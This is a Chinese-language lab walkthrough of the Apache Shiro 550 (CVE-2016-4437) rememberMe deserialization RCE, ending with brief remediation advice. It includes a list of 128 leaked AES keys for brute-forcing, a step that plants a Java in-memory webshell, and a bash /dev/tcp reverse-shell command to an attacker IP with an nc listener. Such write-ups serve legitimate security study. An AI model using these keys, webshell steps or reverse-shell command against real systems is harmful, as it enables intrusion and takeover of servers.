一、如何识别Shiro框架
在未登录的情况下,请求包的cookie中不存在rememberMe的信息,响应包Set-Cookie里也没有,rememberMe=deleteMe的信息。
在登录失败的话,无论是否勾选Remember me(相当于记住账号密码的功能),响应包中Set-Cookie参数值,中有rememberMe=deleteMe的信息。



在不勾选Remember me字段并登录成功的话,响应包中的Set-Cookie的值中存在rememberMe=deleteMe信息,但之后的所有请求数据包中Cookie都不会有rememberMe的信息。
在勾选Remember me字段并登录成功的话,响应包中参数Set-Cookie的值中存在rememberMe=deleteMe信息,并且之后操作的所有请求包中参数Cookie都会有rememberMe的信息。

二、漏洞原理
Apache Shiro影响版本 <= 1.2.4
后端获取rememberme cookie值 》base64解码 》 AES解密 》 反序列化
要执行的命令 》序列化 》AES加密 》base64编码 》前端修改请求中rememberme cookie的值
Cookie数据传入后端引起RCE的过程:后端获取rememberme cookie值 》base64解码 》 AES解密 》 反序列化 》 readObject()调用对象 》其中调用如CommonsColle
以下是从互联网中收集到的Key(仍可以自己长时间测试并扩展收集):
1 kPH+bIxk5D2deZiIxcaaaA==2 2AvVhdsgUs0FSA3SDFAdag==3 3AvVhmFLUs0KTA3Kprsdag==4 4AvVhmFLUs0KTA3Kprsdag==5 5aaC5qKm5oqA5pyvAAAAAA==6 6ZmI6I2j5Y+R5aSn5ZOlAA==7 bWljcm9zAAAAAAAAAAAAAA==8 wGiHplamyXlVB11UXWol8g==9 Z3VucwAAAAAAAAAAAAAAAA==10 MTIzNDU2Nzg5MGFiY2RlZg==11 zSyK5Kp6PZAAjlT+eeNMlg==12 U3ByaW5nQmxhZGUAAAAAAA==13 5AvVhmFLUs0KTA3Kprsdag==14 bXdrXl9eNjY2KjA3Z2otPQ==15 fCq+/xW488hMTCD+cmJ3aQ==16 1QWLxg+NYmxraMoxAXu/Iw==17 ZUdsaGJuSmxibVI2ZHc9PQ==18 L7RioUULEFhRyxM7a2R/Yg==19 r0e3c16IdVkouZgk1TKVMg==20 bWluZS1hc3NldC1rZXk6QQ==21 a2VlcE9uR29pbmdBbmRGaQ==22 WcfHGU25gNnTxTlmJMeSpw==23 ZAvph3dsQs0FSL3SDFAdag==24 tiVV6g3uZBGfgshesAQbjA==25 cmVtZW1iZXJNZQAAAAAAAA==26 ZnJlc2h6Y24xMjM0NTY3OA==27 RVZBTk5JR0hUTFlfV0FPVQ==28 WkhBTkdYSUFPSEVJX0NBVA==29 GsHaWo4m1eNbE0kNSMULhg==30 l8cc6d2xpkT1yFtLIcLHCg==31 KU471rVNQ6k7PQL4SqxgJg==32 0AvVhmFLUs0KTA3Kprsdag==33 1AvVhdsgUs0FSA3SDFAdag==34 25BsmdYwjnfcWmnhAciDDg==35 3JvYhmBLUs0ETA5Kprsdag==36 6AvVhmFLUs0KTA3Kprsdag==37 6NfXkC7YVCV5DASIrEm1Rg==38 7AvVhmFLUs0KTA3Kprsdag==39 8AvVhmFLUs0KTA3Kprsdag==40 8BvVhmFLUs0KTA3Kprsdag==41 9AvVhmFLUs0KTA3Kprsdag==42 OUHYQzxQ/W9e/UjiAGu6rg==43 a3dvbmcAAAAAAAAAAAAAAA==44 aU1pcmFjbGVpTWlyYWNsZQ==45 bXRvbnMAAAAAAAAAAAAAAA==46 OY//C4rhfwNxCQAQCrQQ1Q==47 5J7bIJIV0LQSN3c9LPitBQ==48 f/SY5TIve5WWzT4aQlABJA==49 bya2HkYo57u6fWh5theAWw==50 WuB+y2gcHRnY2Lg9+Aqmqg==51 3qDVdLawoIr1xFd6ietnwg==52 YI1+nBV//m7ELrIyDHm6DQ==53 6Zm+6I2j5Y+R5aS+5ZOlAA==54 2A2V+RFLUs+eTA3Kpr+dag==55 6ZmI6I2j3Y+R1aSn5BOlAA==56 SkZpbmFsQmxhZGUAAAAAAA==57 2cVtiE83c4lIrELJwKGJUw==58 fsHspZw/92PrS3XrPW+vxw==59 XTx6CKLo/SdSgub+OPHSrw==60 sHdIjUN6tzhl8xZMG3ULCQ==61 O4pdf+7e+mZe8NyxMTPJmQ==62 HWrBltGvEZc14h9VpMvZWw==63 rPNqM6uKFCyaL10AK51UkQ==64 Y1JxNSPXVwMkyvES/kJGeQ==65 lT2UvDUmQwewm6mMoiw4Ig==66 MPdCMZ9urzEA50JDlDYYDg==67 xVmmoltfpb8tTceuT5R7Bw==68 c+3hFGPjbgzGdrC+MHgoRQ==69 ClLk69oNcA3m+s0jIMIkpg==70 Bf7MfkNR0axGGptozrebag==71 1tC/xrDYs8ey+sa3emtiYw==72 ZmFsYWRvLnh5ei5zaGlybw==73 cGhyYWNrY3RmREUhfiMkZA==74 IduElDUpDDXE677ZkhhKnQ==75 yeAAo1E8BOeAYfBlm4NG9Q==76 cGljYXMAAAAAAAAAAAAAAA==77 2itfW92XazYRi5ltW0M2yA==78 XgGkgqGqYrix9lI6vxcrRw==79 ertVhmFLUs0KTA3Kprsdag==80 5AvVhmFLUS0ATA4Kprsdag==81 s0KTA3mFLUprK4AvVhsdag==82 hBlzKg78ajaZuTE0VLzDDg==83 9FvVhtFLUs0KnA3Kprsdyg==84 d2ViUmVtZW1iZXJNZUtleQ==85 yNeUgSzL/CfiWw1GALg6Ag==86 NGk/3cQ6F5/UNPRh8LpMIg==87 4BvVhmFLUs0KTA3Kprsdag==88 MzVeSkYyWTI2OFVLZjRzZg==89 empodDEyMwAAAAAAAAAAAA==90 A7UzJgh1+EWj5oBFi+mSgw==91 c2hpcm9fYmF0aXMzMgAAAA==92 i45FVt72K2kLgvFrJtoZRw==93 U3BAbW5nQmxhZGUAAAAAAA==94 Jt3C93kMR9D5e8QzwfsiMw==95 MTIzNDU2NzgxMjM0NTY3OA==96 vXP33AonIp9bFwGl7aT7rA==97 V2hhdCBUaGUgSGVsbAAAAA==98 Q01TX0JGTFlLRVlfMjAxOQ==99 Is9zJ3pzNh2cgTHB4ua3+Q==100 NsZXjXVklWPZwOfkvk6kUA==101 GAevYnznvgNCURavBhCr1w==102 66v1O8keKNV3TTcGPK1wzg==103 SDKOLKn2J1j/2BHjeZwAoQ==104 kPH+bIxk5D2deZiIxcabaA==105 kPH+bIxk5D2deZiIxcacaA==106 3AvVhdAgUs0FSA4SDFAdBg==107 4AvVhdsgUs0F563SDFAdag==108 FL9HL9Yu5bVUJ0PDU1ySvg==109 5RC7uBZLkByfFfJm22q/Zw==110 eXNmAAAAAAAAAAAAAAAAAA==111 fdCEiK9YvLC668sS43CJ6A==112 FJoQCiz0z5XWz2N2LyxNww==113 HeUZ/LvgkO7nsa18ZyVxWQ==114 HoTP07fJPKIRLOWoVXmv+Q==115 iycgIIyCatQofd0XXxbzEg==116 m0/5ZZ9L4jjQXn7MREr/bw==117 NoIw91X9GSiCrLCF03ZGZw==118 oPH+bIxk5E2enZiIxcqaaA==119 QAk0rp8sG0uJC4Ke2baYNA==120 Rb5RN+LofDWJlzWAwsXzxg==121 s2SE9y32PvLeYo+VGFpcKA==122 SrpFBcVD89eTQ2icOD0TMg==123 U0hGX2d1bnMAAAAAAAAAAA==124 Us0KvVhTeasAm43KFLAeng==125 Ymx1ZXdoYWxlAAAAAAAAAA==126 YWJjZGRjYmFhYmNkZGNiYQ==127 zIiHplamyXlVB11UXWol8g==128 ZjQyMTJiNTJhZGZmYjFjMQ==
三、漏洞复现
1 实验环境:Linux下的docker与docker-compose2 vulhub github地址:https://github.com/vulhub/vulhub34 拉取vulhub:5 git clone https://github.com/vulhub/vulhub #如果出现4xx错误,请改为git clone git://github.com/vulhub/vulhub67 命令:8 docker-compose up -d#在漏洞目录shiro 550(CVE-2016-4437)拉取启动docker容器,启动关闭docker需要在同一9 docker-compose down#关闭docker容器

查看Linux的网络配置IP地址,容器启动端口默认是8080端口,在使用Burp设置监听抓包的时候记得别冲突了。

尝试登录并抓包,拦截响应数据包,发现存在rememberMe=deleteMe字段信息:

这里用来检测是否存在Shiro反序列化漏洞的方式很多,Github上存在着很多大表哥们开发的POC脚本工具等,
此处笔者用的是J1anFen大佬所写的图形化工具

而且爆破的Key内容可以快速修改且方便

将存在Shiro框架的Url复制粘贴到工具检测,点击“爆破密钥”,发现密钥存在于工具列表中,然后“爆破利用链”,也就是可以调用进行RCE的Java功能包,发现也存在,所以我们可以利用Shiro 550反序列化漏洞进行RCE。(检测的功能是用于在测试者已知泄露Key但不存在于工具Key列表的情况下,或者已知利用链,去修改Key的值并验证,验证是否可以利用该Shiro 550漏洞)

让我们命令执行看看,发现成功回显,接下来尝试写入Java内存马

有多种类型的Java内存马,至于每一种类型的马是不同的实现方式,可以自行去了解。这里笔者采用的是Filter蚁剑的马子,复制内存马PUT好的链接并配置好蚁剑,成功连接上。




利用虚拟终端,尝试反弹shell到攻击机Kali上(正常状态下应该是公网VPS)
命令:回到Kali攻击机获取交互shell:bash -c 'exec bash -i &>/dev/tcp/192.168.137.130/1234 <&1'#目标机上执行,反弹shell流量到192.168.137.130主nc -lvvp 1234#监听1234端口

回到Kali攻击机获取交互shell:

修复方案:
千万别使用来自互联网的密钥,需要的话可以自己按照官方的方法进行生成Key!!!
有能力的话可以修改有关rememberMe关键字,也千万别将自己的Key泄露到互联网上!!!
在官方后续的修复和处理中,只是对Key的保密性进行加强:删除了默认Key、如果不配置Key将会随机生成Key等等,但造成反序列化RCE的点readObject()与处理的对象来自于外部的RememberMe Cookie仍可以由前端进行控制传入数据,如果泄露了Key,理论上是存在Shiro 550反序列化RCE漏洞的!!!
所以,最有效的方式就是别泄露AES的Key!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
总结:




